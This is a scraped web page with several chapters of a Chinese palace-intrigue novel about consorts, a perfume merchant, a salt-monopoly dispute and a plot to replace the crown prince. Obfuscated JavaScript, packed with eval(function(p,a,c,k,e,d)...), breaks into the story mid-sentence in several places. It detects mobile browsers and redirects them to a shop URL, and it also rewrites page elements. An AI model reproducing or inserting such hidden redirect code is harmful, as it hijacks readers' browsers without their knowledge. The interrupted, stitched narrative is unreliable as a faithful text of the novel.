庆嫔摇着团扇,莲步款款走过这株墨兰,轻笑道:“此花香气幽深,着实特别,陛下对姐姐真是极尽恩宠啊!” 贤妃含着嗔笑,故意睨了她一眼,“若说恩宠,谁能越得过你?” 这么说,并非客套。 皇帝不是重色之人,多年来后宫嫔妃不多,仅对皇后称得上感情深厚;但是自从庆嫔入宫之后,后宫便有了宠妃之说。 庆嫔出身不高,却生得冰肌玉骨,艳华丽秾,一颦一笑皆具风情,甚得皇帝的喜爱。 最小的五皇子即是庆嫔所生,刚满三岁。 庆嫔心思不深,却也不是蠢人。 娘家位卑,亲子年幼,皇后娘娘又一向视她为眼中钉,眼下靠着陛下的恩宠尚且无事,日后该如何是好? 不得不早作打算。 眼见安王日渐得势,贤妃主动示好,她哪有不顺势而接的道理! 庆嫔眼波流转,“听说姐姐的家人今日递了帖子,要进宫看望姐姐。” “嗯!是外祖家的两位表妹,她们嫁到京城多年,一直未见过。” 庆嫔幽幽叹道:“一入宫门深似海,与父母亲人竟像是隔了千山万水般,难以跨越。” “妹妹想见亲人有何难!”贤妃不以为意道。 庆嫔心念一动。 “姐姐的意思是……省亲?” 贤妃淡淡笑道:“省亲一说,并非本朝专擅,妹妹的家乡临州离京畿也不远,不如向陛下讨个恩典,若是陛下能陪妹妹一起,那便更是一桩佳话了。” 被说得动了心,庆嫔手里绞着帕子,心跳得七上八下。 “妹妹找一个合适的时机,向陛下提请,我再从旁帮说,陛下定然会考虑。” 贤妃又道:“自古嫔妃省亲非盛世不为,对于妹妹的母家是个恩典,对于朝廷来说,也是彰显皇家威仪的机会,陛下未必不会答应。” 庆嫔迟疑道:“会不会……被御史台弹劾?” 贤妃轻声笑道:“省亲的一应车马、行宿和人手的花费,由柳州郑氏全权承担。不走国库,满朝文武也说不出一个不字。” 柳州郑氏? 江南世家之首,贤妃的外祖家! “这……”,庆嫔面露不自然,“这岂不是让姐姐为难!” 贤妃打了个手势,几个宫人小碎步进来,顷刻之间将地上的杂叶清扫得干干净净。 贤妃看着被修剪好的兰花,“这下子,才算有点儿直剑墨兰的神韵!” 复又叹了口气,“不过这株的品相还是差了些。” 如此名花,却还入不得眼。 庆嫔暗暗心惊,都说柳州郑氏富甲天下,可见传言不虚。 贤妃放下剪子,拉着庆嫔的手,缓缓走到书案前,从书卷最里面抽出一份薄本递给她。 里面记着临州的千亩良田,八家商铺,和一个庄子的位置。 庆嫔目露惊讶。 贤妃缓缓笑道:“郑家虽不显贵,却不缺银钱。这些东西已送至临州妹妹的家中。至于省亲之事,郑家也愿意承担,剩下的就看妹妹的意思了。” 庆嫔心中一跳,手指像被薄薄的册子烫了一下,慌忙搁在案上,勉强笑道:“姐姐,这是何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贤妃眸光闪烁,“我问你,难道你就真得一点儿都没有将太子取而代之的心思?” 安王心中一紧,慌忙低下头去。 “母妃知道,你也是不甘心的。”贤妃幽幽道:“你自小性子温吞,做事犹疑,母妃便推你一把。” 贤妃见他兀自纠结,又下了一剂猛药,“想想当年你做的事,若被你父皇和太子知道,他们可会原谅你?” 安王身躯一震,面色青白。 他失魂落魄了半晌,“我当时是一时糊涂。” “是啊!一时糊涂!”贤妃轻声笑道:“所以明知太子的下落,却还是将消息隐瞒了下来。” “瑾儿,你也想当太子。”贤妃笑得残忍,“只是你不肯承认罢了!” 安王掌心紧握,微微发颤。 “瑾儿,太子查科举舞弊,毁了解州百年声名,便是剑指咱们母子俩。他不给我们活路,我们也不能坐以待毙。” 眸间阴云几度翻滚,安王垂首,沉声道:“是,母妃。” 48. 谩骂 宝篆香铺重新开张。 待到晌午,一个客人未见到,云娘坐不住了。 后院中,地上铺满连枝的花叶,香气清淡。 任知宜敛裙挽袖,挑拣出合适的花叶,再用木杵将花叶捣成泥浆,尝试着加入到原本的香料中。 “东家,虽然开张了,可还是没客人啊!”云娘走近了,忧心忡忡道。 “无妨!”任知宜低头浅笑,“过几日,可能会有笔大生意。” 云娘目露惊讶,东家莫不是因为受的打击太大,魔怔了……铺子冷情成这样,哪来的大生意? “放心吧!”任知宜不紧不慢地抖了几滴花汁入香粉,开玩笑道:“你若还是担心,趁着明日霍思修休沐,你将他拉到香铺门前坐着,定然客似云来。” “东,家!”云娘哭笑不得。 如今入翰林的三人成了京城炙手可热的佳婿人选,他们家的门槛差点被媒人踩破,得亏任知宜让宝珠在门前耍了一套大刀,那些媒婆才渐渐散去。 任知宜垂着头,将每种香粉置于戥称之上,记下钱重,好似只是专注于制香本身,丝毫不在意香铺生意惨淡。 那四家低价经营的香铺背后是江南世族。她与柳德的交易不能示于人前,继续维持宝篆香铺的冷清,才不会令人生疑。 至于她所说的大生意,不过是柳德答应给她的补偿,她不想让云娘担心,所以故意这么说。 “有客到!有客到!”檐下的虎皮鹦鹉高声叫道。 帘子撩起,云娘怔了一下。 要么不来,一来竟来了三个客人。 金珠玉翠,遍身罗绮,一看便是勋贵之家的夫人。 难道这就是东家说的大生意? 云娘满面带笑,“不知夫人们想要买点什么?我们铺子里的这款蔷薇香膏卖得最好。” 为首的夫人轻抬下巴,面带嘲意,“卖得最好……那不就是人人都有的东西!我要这个作甚!” 云娘笑容一顿,接着拿出一方玉色云纹透雕漆盒。 内里是枚玉兰如意香牌,胭脂底色,下缀青玉流苏,别致典雅。 站在后面的两位夫人起了兴趣。 “好像有股淡淡的玉兰香。” “嗯!这味道温和舒润,倒是挺适合盛夏时节……” 为首的夫人清了清嗓子,手指触到发间的八宝攒珠步摇,神情倨傲,唇间发出一声轻蔑的冷哼。 云娘脸上笑容微僵,复又问道:“不知夫人想要什么?香粉还是香膏?” “你是掌柜?” “是!” “你们东家呢?让她出来。” 云娘神色一变,“东家不在。” 帘后的任知宜听到这话,停住脚步,借着门帘的缝隙向外看去。 为首的夫人绕着铺子环顾一圈,撇撇唇,“都说你们东家为人奸滑,惯会钻营;看你们这里也不怎么样嘛,连个客人都没有!我原本还真以为她有个三头六臂呢……” 这是来找茬儿的! 云娘最听不得别人骂任知宜,登时冷下脸来,正欲赶人,却瞥见任知宜在帘后轻轻摆手,示意她不要轻举妄动。 她按捺下来,笑道:“夫人如果只是来铺里看看,不如去那边雅座一歇。” 雅座幽静,沏好的花茶香气袅袅。 一番殷勤周到,却令三人面子上挂不住。 “你当我们是什么人!你以为我们买不起你这破香?”为首的夫人高声喝道,“我一个镯子,便能买你整间铺子!” “不敢!” 云娘面色沉静,不卑不亢地回应,好似并不在意。 “小小贱婢,还敢惺惺作态!” 那夫人愈加怒不可遏,右手一扬,朝着云娘的脸上甩去。 眼看巴掌将要落下,她的手臂被人拑住,动弹不得。 “东家!”云娘失声道。 “任知宜?” 那夫人怔了一下,甩掉她的手,冷冷讥讽道:“不是说不在吗?” 任知宜淡淡道:“畅叫扬疾,嘈杂之声,邻街可闻。” “你……”,那夫人气结。 “我家掌柜做了什么,惹得夫人要掌掴她?” 那夫人冷笑一声,“不够谦卑。” 任知宜眸色越发深冷,“看来是我们宝篆香铺庙小,供不起您这尊大佛,日后就请夫人不要再登门了。” “你敢撵我?” 任知宜凝视着她,眸色幽深,“你觉得我敢不敢?” 那眸光深邃,透着危险的光芒,令她心中一凛。 身后二人亦扯扯她的袖摆,生了退却之意。 任知宜不以为意地打了个手势,“请吧!夫人!” “贱人!”那夫人气得浑身哆嗦,血液直冲头顶,顺手拿起案上的茶盏,朝任知宜掷去。 任知宜闪身。 落地迸裂的碎片擦过她的脸颊,划出一道红痕。 “东家!”云娘疾步上前。 右耳侧的雪肤多了一道半指长的伤痕,微微泛红,渗出表皮的浅血。 女子的容貌何其重要…… 云娘见状,急得白了脸,“你怎么能伤人呢……我,我定要去官府告你!” 那夫人望着任知宜,愈发笑得张狂,“你以为自己还是那个深得太子信重的东宫幕僚?” 她拢了拢鬓发,满脸鄙夷。 “一把利刃,却妄想做执刀之人!” “你觊觎太子妃之位却被皇后重责之事已传遍前朝后宫。我今日就算伤了你,也不会有人替你出头。” “太子与懿靖郡主终日相伴,形影不离。你算个什么东西……太子听说郡主喜欢吃莲藕,特意派人从两百里外摘了新鲜的脆藕送过来;今日他们还相携去了云济寺,找主持方丈求一道姻缘签。 “任知宜!你豁上性命,终究还是得不到自己想要的!多可笑啊!” 她越说越疯癫,双目露出怨毒之色,滔天的恨意被一一宣泄出来。 随行的二位夫人亦颤然噤声。 任知宜冷冷看着她,“钟夫人!” 那夫人笑容一滞,眼神阴恻恻的,“你认得我?” “欢迎应国使臣的宫宴上,你坐在太常寺卿钟黎钟大人的身侧,若我没猜错,你正是钟大人的夫人。” “呵呵……”,钟夫人干笑,“那么多人,你倒是记得!” “你是特意来找我报仇的?” 钟夫人双目含恨,“我儿被褫夺功名,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也有人说,去岁天灾,山洪频发,郑家不但慷慨解囊,还一直以朝廷的名义赈灾救民,为朝廷纾困解难,随意罗织罪名,岂不是寒了忠臣义士的心! 众臣各执一词,吵得不可开交。 皇帝听得头疼欲裂,“好了!好了!” 眼神瞥到一旁翰林院的新面孔,他轻咳两声,“你们三个初入官场,可有什么不同的见解?” 景随率先跨步而出,“臣才疏学浅,窃以为盐收乃是国之大事,郑家经营盐业多年,无论是对盐场的工艺还是盐运渠道都极为了解,轻易更换,恐怕不太稳妥。” 皇帝点了点头,又望向刘泰和霍思修。 霍思修紧张地咽了咽口水,坦诚道:“在臣的家乡,百姓一年收成的七成都用于买盐,臣以为,不管由谁经营,能令百姓解于困苦,方为正道。” “刘泰,你觉得呢?”皇帝问道。 刘泰长揖行礼,“江南盐收,占国库四成不止,乃是国之重事。臣觉得,由谁经营,必要有个章法。 郑、韩两家,承诺今年盐收超去年两成者,可得盐业经营!” 49. 真假 六月的天,说变就变。 柳德和几个朝臣的脸就像外面的天色一般,黑如泼墨。 盐收,超去年两成! 作此承诺,犹如在天下臣民面前立下军令状。若是不成,便是犯了欺君之罪。 满殿文武不禁将视线移向太子卫枢。 前有赵轲,后有刘泰,这二人是安州王何卢扎在朝堂的两根硬钉,亦是如今太子的助力。 若无太子授意,刘泰断然不会说这等话。 有朝臣问道:“这样岂不是增加百姓的重担?” 刘泰复又道:“此章法,自然不可将盐税之负加诸于百姓身上,端看郑家和韩家的经营之能。” 好一招釜底抽薪。 柳德阴着脸,银牙暗咬。 若是如此行事,郑家会损失大半盐利。 这究竟是太子的攻心之术,还是韩家真得做好准备,即使壮士断腕,也要与郑家一争到底? 卫枢端正行礼,“刘泰所言,颇有见地,只是略失于草率。儿臣觉得,可召郑韩两家家主进京,各自联络盐商,陈请经营要略。” 皇帝笑意微敛。 太子这话看似不偏不倚,可是满城皆知,韩家的韩少初早已到达京城,结交朝臣,往来盐商。韩家是照着这个路子,做了万全的准备。 可是,郑家…… 前夜芙蓉帐暖,庆嫔哭得梨花带雨,他一时心疼,便答应了陪她回乡省亲之事。 太子一句“远行不便,父皇应保重圣体”,惹得他不快。 临州距离京城不过百里,有何不便? 相比招摇的韩家,皇帝更喜欢晓明事理的郑家,无论是赈灾还是省亲,郑家都能为朝廷分忧,是个懂事的。 皇帝瞥了一眼如老僧坐定的景相,自从程可靖一死,景相沉默了许多,倒是太子一改往常。 他面色沉然。 如今,他不想再被什么人掣肘,不管是位高权重的景相,还是锋芒毕露的太子。 “宣郑檀进京,朕要亲自听郑韩两家陈请。” “陛下圣明。” —— 阴风作作,骤雨将至。 散朝之后,众臣皆担心陷于泥泞,急忙出宫。 霍思修前脚刚迈出文华门的门槛,便听得有人唤他。 回身一看,漫天黑压之下,卫枢一身肃杀之气,缓步而来。 霍思修默默地打了个寒战。 朝堂之上,他句句肺腑,无法偏帮韩家,若是太子要兴师问罪…… “她的伤如何?” 声如玉石击磬,夹杂着一丝喑哑。 霍思修怔了一下,立刻反应过来,“知宜的面伤不深,大夫说不会留疤,但是可能会有一道浅浅的暗痕。” 空中打了个闪。 闪光下,卫枢眸色黑得发亮,幽邃之底,暗流急涌。 被这阴戾的眼神一扫,霍思修脚下一僵,半分不敢动弹。 “她这几日在做什么?” 霍思修谨慎回道:“每日在家中做香料。” “她……可有提起孤?”这话含在嘴中,半晌才出。 霍思修冷汗涔涔。 朝野上下传言,任知宜恋慕太子,被皇后斥责,恐失幕僚之位。 任知宜每日闷头做香料,不再踏足东宫一步;太子又将林四和林七遣回暗卫营。 他再迟钝,也知晓任知宜与太子生了龃龉。 霍思修把脑袋摇得像个拨浪鼓,状似发誓,“绝未提及殿下。” 卫枢神情微动,默了半晌,递给他一个白瓷瓶。 “这是宫中圣药,你嘱她一日两次,勿要见光,见水。” 霍思修接下。 接着,听卫枢缓缓道,“那个钟夫人,让她避着些,这些日子不要再去香铺了。” “是!” “还有……你告诉她,有些事情,若是想通了,她还是孤的东宫幕僚。” “是!” 文华门前,目送太子的背影,霍思修长长地叹了口气。 ———— 火盆中,纸笺随着火蛇飞舞,渐渐化成了一摊灰烬。 柳德瞥着飞扬的纸灰,笑了笑。 “大伯,这是什么信?” “一桩消息。” 柳德的侄子笑道:“大伯似乎很开心。” 他惯会察言观色,柳德一向沉肃,今日自从看过那封信后,唇角便一直勾着。 “大伯,任知宜传信儿过来,说她有一计,可令韩家一败涂地。” “哦?”柳德轻笑,“你们按她说的做。” “大伯信她?” “信不信并不重要!只要让她觉得我信任她即可。” 侄子面露不解。 柳德从书案后面走出,嗤笑道:“你以为她会真心助我?” 柳德膝下无子,惟有一个父母早丧的侄子留在身边,是他最信任的人,日后柳家的人脉、经营,也要尽数交到他手中。 看着自家侄子迟疑的眼神,他轻声笑道:“任知宜可不是一个蠢人!她心中清楚,即便韩家败了,也不会伤及太子根本,她却可以利用我达到拆毁太子婚约的目的。 她以为我费劲心机笼络她,是为了郑家的盐业经营……” 柳侄不明所以,“难道不是?” “这个世上有比盐业更一本万利的买卖。” 柳德拍拍他的肩膀,感慨道:“我入仕几十年,坐到今时今日这个位置。咱们柳家的荣辱皆系于我一身,若有一日,我退出朝野,柳家还有何立足之地! 所以,大伯要挣从龙之功,为柳家延续尊荣。” 柳侄蓦地一惊,心胆剧颤。 柳家是依附于解州宫家起家,如今太子与宫家、柳家已是死敌。若然太子登基,柳家必然倾覆。 大伯想要设局陷害太子! 他哆哆嗦嗦,说不出话来,“大,大伯……” 柳德握着他的手,将他握得生疼,“不要怕!” “任知宜以为我与她结成同盟,各取所需,是为了盐业经营,我们正好借此时机,让她为我们所用。” “当所有人的目光都聚集在郑韩两家相争时,我们给太子一个痛击,储君更易,安王上位,顺理成章。” 柳德笑得阴沉。 屋外,倾盆雨坠。 酝酿了一整日迟迟落不下来的雨,此时,轰轰然地从九霄之外垂落下来,势不可挡,急不可待。 柳德打开窗棂,沉声道:“有些事儿,你再怎么抗拒,也终究会走到这一步,就像这场雨,避是避不过的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“早在节度使府,我就向他表明了立场我不赞成东宫过早地介入世家之争……” 任知宜原本恭谨低首,应答自如,冷不防目下之光被人影一遮。 心头一震,她猛然抬头,卫枢已然欺身至身侧,二人咫尺相隔,呼吸可闻。 “殿,殿下…” 任知宜被他强烈的气息所罩,顿感不安。 脚下堪堪退了一步,便被他握住手臂,拉回到原位。 卫枢长眉深蹙,眉下的剑痕因为过于用力泛出猩红的色泽,清晰可见。 “有人说,你恋慕孤而不得,会因此背叛于孤。” 任知宜浑身僵直,脚下虚浮地像踩了一团棉花。 “臣……臣绝不敢有二心!” 卫枢箍着她的手丝毫不松,双眸如漆,“孤想问的是,你真得恋慕于孤?” 任知宜怔立在原地,睫羽狠颤。 她想挣脱桎梏,因为惧怕卫枢会听见她胸腔里的擂鼓声。 突地,一只黄羽雀扑棱着翅膀,从二人之间掠过。 清脆的叽咕声,打破了二人之间的凝滞。 50. 喜欢 扶摇天光,从宫檐一角洒下来,落在甬道的青石板上,幽黑的倒影连在一起,宛若相依。 甬道尽头的宫墙后,一个洒扫宫人乍见此景,慌忙伏拜于地,大气不敢喘一下。 卫枢骨节分明的手轻轻一松,萦绕于二人之间的窒感渐渐消散开来。 抬手一挥,令宫人退下。 卫枢缓缓道:“韩家非要与郑家相争,背后有一桩原因。 半年前,韩少初的姐姐嫁于郑檀的次子,不过三个月便香消玉殒。韩少初暗地找人查过,他姐姐是被夫君和婆母联手凌虐致死,郑家为了掩饰,草草办了后事,对外只说是急病缠身。” 任知宜心神渐缓,抿唇沉思。 这等事,官府不会受理,韩家族人亦不愿意为一个出嫁的女子得罪郑家。韩少初明着是为韩家争世家之首的地位,实则是为亲姐报仇。 郑家与安王同系连枝,所以韩少初从一开始找上她,目标就是太子。 卫枢负手而立,“韩少初在孤的面前立誓,必要与郑家不死不休。不止是盐业,还有郑家的所有,他要郑家一败涂地。” 任知宜了然,“我一直不赞同东宫介入盐业之争,韩少初不想我影响此事,所以特意绕过我,找到苏叶引荐。” “你猜错了!”卫枢缓缓摇头,“他入京之后,是孤主动去找的他,因为……孤开始着急了!” 任知宜低垂的眼皮狠狠一跳。 急于充盈国库,急于清除吏治……还是,急于登上那至尊之位? “郑家的手伸得太长,孤不得不早作应对。” 任知宜静然默立。 脚下的青石板略有松动,许是接连几日的阴雨,令石板缝中的细草茁然成长,蓬勃欲出。 “韩少初答应为朝廷增盐税两成,郑家却扶持安王,与孤势不两立。孤告诉你这些,便是表明立场。” 卫枢的声音有如凉冰碎玉,“韩家掌江南盐业,不为财,而为仇。孤需要韩家做这个引线,将这场火势燎原。” “可是韩家售卖假盐,声誉受损……” “韩家铺子的掌柜被人收买,将其中部分盐袋掉包,其后掺杂而卖,半真半假,这个时机实在选得刚刚好。也不知道,究竟是何人向柳德建议?” 任知宜的心跳慢了一瞬。 “知宜,孤还是希望你能回来东宫。”卫枢负手而立,声音透着几分情动缱绻。 任知宜双眸阗黑,不言不语。 卫枢继续道:“你我之间,不过是些误会。待得大事初成,孤自会给你一个交代。” 说话时,他突然拉住她的手腕,将任知宜惊了一跳。 “从安州回来,孤每日都会梦到义父。在梦里,义父给我盛了碗带酢浆的羊汤,嘱咐我别烫着。 义父平生所愿,乃是海清河晏,四海清平,孤曾说过,余生路远,当戮力而为。” 任知宜眨了眨眼睛,面色渐渐恢复沉静,后退两步,拱手道:“臣明白了!” “那依知宜看……”,卫枢露出清淡的笑容,“现下,如何解韩家之祸?” 任知宜恭声道:“以其之道,还施彼身。” ———— 出宫时,近日落时分。 离庆阳门不远处的宫道,绿树成荫,凉风习习。 荫凉地停着一八人步辇,华盖纱幔,宫扇仪仗。 辇中之人端坐其上,姿仪高贵,明艳无双。 她上前见礼,“臣任知宜,见过懿靖郡主。” 纱幔撩起一角,露出一张端丽带笑的面容,“任女史重得东宫信任,可喜可贺!” 任知宜淡笑,“劳郡主挂心!” “我是替太子殿下高兴!任女史聪敏善谋,若是因为我的缘故,令殿下失了女史这么重要的臣属,我会过意不去的。” 任知宜挺直身姿,明眸含笑,“殿下胸有丘壑,仁义大度,臣会一直追随殿下。” “呵!”懿靖轻笑,“那就再好不过了!我这几日因为此事,一直睡得不好。又听闻女史被人伤了脸,我心急如焚,赶紧让人寻了些伤药回来。” 话音刚落,郡主的随侍立刻送上一个折本。 翻开后,里面记着诸多名贵药材的名字,尽是治疗外伤所用。 “这些药材太多,我让人将其暂时寄放在京城最大的药铺弄草堂中,你凭此折本可直接去弄草堂领取。” 任知宜正要道一声“多谢”,突然被折本最末的印章吸引了目光。 朱文篆刻,为“懿靖”二字。 显然是懿靖郡主的私印。 最与众不同的是,这二字字结遒劲藏锋,兼若行云流水,镌刻成印,更添风骨。 是她极为熟悉的,卫枢的字迹。 懿靖郡主笑容明媚,眼波流转,“女史放心,弄草堂的东家认得我的私印。” “这是……”,任知宜声音微滞,“殿下……” “好眼力!”懿靖郡主笑靥如花,“太子殿下亲自做的私印,天底下绝找不出第二枚。” 大胤崇文,导致民间有个习俗,若是夫妻情深,想要表达爱意,女子通常会为夫君绣一幅带着诗句的折扇,而男子通常会为娘子刻一枚私印。 卫枢为懿靖亲刻私印…… 若是为了令安州王放心,大可不必,毕竟二人尚未成婚。 任知宜抬眼。 透白的纱幔下,居高临下的俯瞰目光之中,透出几分高傲的轻慢。 “啪”地一声,任知宜合上折本,收拢袖中,笑意泠泠,“多谢郡主垂爱,臣必善用这些药材。” “任女史务必谨慎,须知容貌乃是女子最紧要之事,若是不小心留了疤痕,恐怕会于婚事有碍。” 任知宜淡笑,“单以容色度人,这种夫婿,不要也罢。” 此话一出,那双明艳的秀目中闪过一抹鹜色。 “大胆!”郡主身边的随侍宫女大声喝道:“郡主好心提醒你,你居然敢出言讥讽!” 不远处,传来一道朗朗清越之声。 “本官以为,任女史绝无此意!” 一袭青衫,六品朝服,芝兰玉树,风姿落落。 景随的身边还有几位翰林院学士,为了加紧修编前史中的一本遗册,这几日,他们一直住在外宫内。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283371|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>东宫之事,早有耳闻。 翰林院中人皆为科举状元出身,文人重清名,对于科举舞弊一事深恶痛绝,所以连带着对破除舞弊的任知宜颇有好感。 见景随出声维护,便也跟了上来。 懿靖郡主双眸逡巡了一圈,露出端妍大方的笑容,“任女史言之有理!容色侍人,终归下乘。为君妇者,最重要的还是德行。以夫为尊,贤妻良佐方为正道。” 几位翰林院学士笑着点点头。 景随笑容和煦,“郡主德才兼备,只可惜,身边的奴婢见识浅薄,目中无人。” 懿靖郡主笑容微顿,一双丹凤眼缓缓地瞥向刚才说话的随侍宫女,“景大人所言极是!没规没矩!拖下去,掌嘴三十!” 随侍宫女浑身一颤。 “慢着!”景随的笑容更甚,犹如春日暖风,“小小奴婢,当众折辱七品女史,本官以为,掌嘴不够,该行三十杖刑。” 随侍宫女闻言,身子软倒在地上,牙关上下打战,“郡,郡主……” 懿靖郡主面沉如水。 两相对峙之际,几位翰林院学士面面相觑,因着景随自入翰林院以来,待人谦和,温文有礼,他们不明白今日为何如此狠厉。 三十杖下去,这宫女的腿恐怕会被废掉。 一边是景相的公子,一边是郡主,未来的太子妃,哪边都不好得罪。 刚才便不该过来凑这个热闹…… 他们别无他法,只好一个劲儿地向任知宜使眼色。 任知宜悠悠道:“郡主,诸位大人,刚才不过是一场误会。算了!” 待众人离开,景随望着远去的步辇,眉头轻蹙,“她说了什么,让你消沉到连一个奴婢都斗不过了?” 任知宜一怔,面上露出几分不自然。 “为什么替那个宫女求情?” 任知宜长叹道:“不过是一个听命于人的可怜人,你就算取了她的性命,懿靖也丝毫不会在意,不如留她一命吧。” 景随长眉深蹙,“朝堂之中,良善之辈素来没有什么好下场。” 这是景随第一次数落她,倒显露出几分真实的情绪。 任知宜心中受用,浅笑道:“辜负了景公子一番维护之情,让你失望了!” 景随觑了她一眼,淡淡道:“不会。良善之辈,我也是喜欢的。” “……” 任知宜怔了一下,会意过来后,窘迫得面色酡红一片,折本从袖中滑落。 景随捡起来,随意翻了两页,“这是什么?” “懿靖郡主买来送给我的伤药。”任知宜指着耳侧的淡粉色伤痕道。 “好一个造作的郡主!” 景随狐疑道:“你不会真得要喝吧?” “呵呵……都是些名贵药材,我转手卖掉,少说也有几千两银子。” 景随真心地笑了笑,好看的眸子里溢满流光,“任知宜,我就喜欢你聪明又贪财的样子!” 任知宜怔了又怔,面色红了又白,默了半晌,方才恢复常色。 她一本正经地凝视着景随,“景公子,其实……我已经有心上人了。” 51. 易储 夜幕已至,月上西天。 二人赶在宫门闭阖前,出了宫。 皎月清辉,深幽静谧。 “我知晓!”景随的笑声轻快,“宫内传言,姑娘对太子殿下情根深种。” 任知宜抿唇不语。 二人朝着石方街走去,行人渐少。 景随笑道:“不过,景某从不信流言。以我对姑娘的了解,那些穿凿附会的传言听起来实在可笑。” 任知宜静静道:“哪里可笑?” “姑娘心性旷达,遇事明机而断,岂是传言中拖泥带水,委曲求全之人!” 任知宜双眸深凝,一字一句道:“或许,流言是真的。” 泠泠月光照进她的眸中,透出几分真意。 景随长眉微挑,眼中的笑意渐渐淡了下去。 原来竟是这样…… 空气之中带着些许凝滞。 景随面色僵了片刻,复又笑了,笑得云淡风轻。 “景某与姑娘打个赌。有朝一日,姑娘会亲自出面,破除这桩流言。” 任知宜不明白景随的底气从何而来,秀眉一紧,一股莫名的情绪萦绕心头。 “姑娘!”景随轻声唤道,“到家了!” 回过神来,任知宜盈盈拜谢。 脚下步子一顿,她想起一事,“之前听景公子说太常寺卿钟黎可能与令兄之死有关,我查了他的卷宗,他两次被贬出京,皆是得景相襄助召回。景公子不如问问令尊钟黎此人如何,可能会有所获。” “多谢姑娘费心!”景随轻笑,“不过还请姑娘明白,景相是景相,我是我。” 任知宜眸色轻动。 “所以……”,景随温和笑道,“姑娘日后做任何事,都无须忌惮于我。景郦与姑娘之间,我只会选择姑娘你。” ———— 烛火燃燃,满室华亮。 清和殿后的内堂,皇帝端于正座,手指摩挲着玉茶盏沿,轻轻啜了一口。 堂下坐着一人。 宽袍广袖,面白微髯,正是当朝大儒,政事堂五人之一的翰林院大学士范昉。 “范卿,如何看待那万言匾?” 这一日,由靖南道万名百姓以指间鲜血写成的万言匾,一路跨越各道州府,浩浩荡荡地送至京城。 万言匾为三十龄黑檀木所制,长约八尺,重逾二百斤,由四名高壮侍卫肩举入宫。 城中百姓、后宫诸人见到此景,无不目惊语叹。 “生于盛世,得逢圣主,天亦幸之……千秋鼎盛,万世开继……” 此万言匾极尽溢美之辞,又兼万民血书,恢宏壮丽,非寻常歌功颂德的奏书所能匹及。 皇帝见之,龙颜大悦。 匾中一万字,无一字提及安王。 但是,朝中上下心知肚明,这功劳是安王的。 安王代君巡察靖北道,擒获山匪,安置流民,与应国修好通商,民间声望日隆。兼之在陛下床前侍疾,衣不解带,食不知味,至孝之名为前朝后宫所称道。 白日里,皇帝连下两道圣旨。 第一道,晋封贤妃为贤贵妃,赐住煜宁宫。 第二道,擢安王兵部侍郎一职,兼领内宫禁军。 皇帝轻轻抬手,一旁的胡总管立刻吩咐众侍退下,他自己则守在门前待命。 范昉微笑颔首,“陛下,民心归向,社稷之福也。” 皇帝微抬眼皮,“范卿觉得安王如何?” “温厚仁义,才德卓然。” “……”,皇帝顿了一下,“那比起太子又如何?” 范昉神色微凝,默了良久,“天家之子,龙章凤姿,各有千秋。” “范昉!”皇帝厉喝一声,“当年嘉以之乱,你痛斥逆贼,傲骨铮铮,如今怎地成了置社稷朝堂于身外之人?” “臣不敢!”范昉叩首。 皇帝沉声道:“太子才智过人,可惜对某些事过于执着。朕以为,他并非储君的合适之选。” 内堂一片静寂。 胡总管站在门槛处,躬着身子,一口凉气直往胸口窜。 范昉敛眉,“可是,太子并无大错。” “结党伐异,不孝君父,这难道不算大错?” 范昉面露迟疑,“太子当年舍身救父,以至流落民间多年,或许……与陛下之间有些误会。” 皇帝双眸微动,手扶额角,深深地叹了一口气。 “他失踪的这些年,朕一直四处寻找他的下落,为了他迟迟不立储君。夜里梦见他的样子,朕都会从梦中惊醒,涕不成声。 可是……自他回宫之后,丝毫不与朕和皇后亲近,反而愈发生分,如今更是在朝中结党弄权,与景相分庭抗礼,不将朕放在眼中……” “陛下息怒!” 皇帝调匀呼吸,沉声道:“难道连范卿也要违逆朕的意思?” 范昉敛袍叩拜,“臣范昉,事君至忠,绝无二心。” 皇帝缓了口气,神色稍霁,“朕心中知晓,政事堂之中,真正算得上对朕忠心耿耿的,惟范卿一人矣。 易储一事,事关重大。范卿先回去细细想一想,再给朕答复也不迟。” 范昉告退。 皇帝轻声唤道:“胡德祥!” 胡总管快步近前。 皇帝漫不经心地问道:“你准备何时告诉皇后朕的心思?” 胡总管浑身一个激灵,咣地趴跪在地上,抖颤不成声,“奴,奴才不敢……” “之前种种,朕不予追究,日后须得牢记谁是这大胤之主。朕的身边只会放对朕忠心之人。” 胡总管额头渗出滴滴冷汗。 “朕知道,你一向敬重皇后,与朕无异。朕与皇后是结发夫妻,结黎数十载,朕亦不想寒了她的心。” 皇帝轻叹道:“你去吧!” 胡总管愕然抬头。 “将朕的意思告知皇后,就说,这是朕最后一次顾念与她的夫妻之情。” 胡德祥颤声领命。 给皇后最后的顾念,亦是给太子最后的机会。 ———— 山南道节度使郭嘉入京。 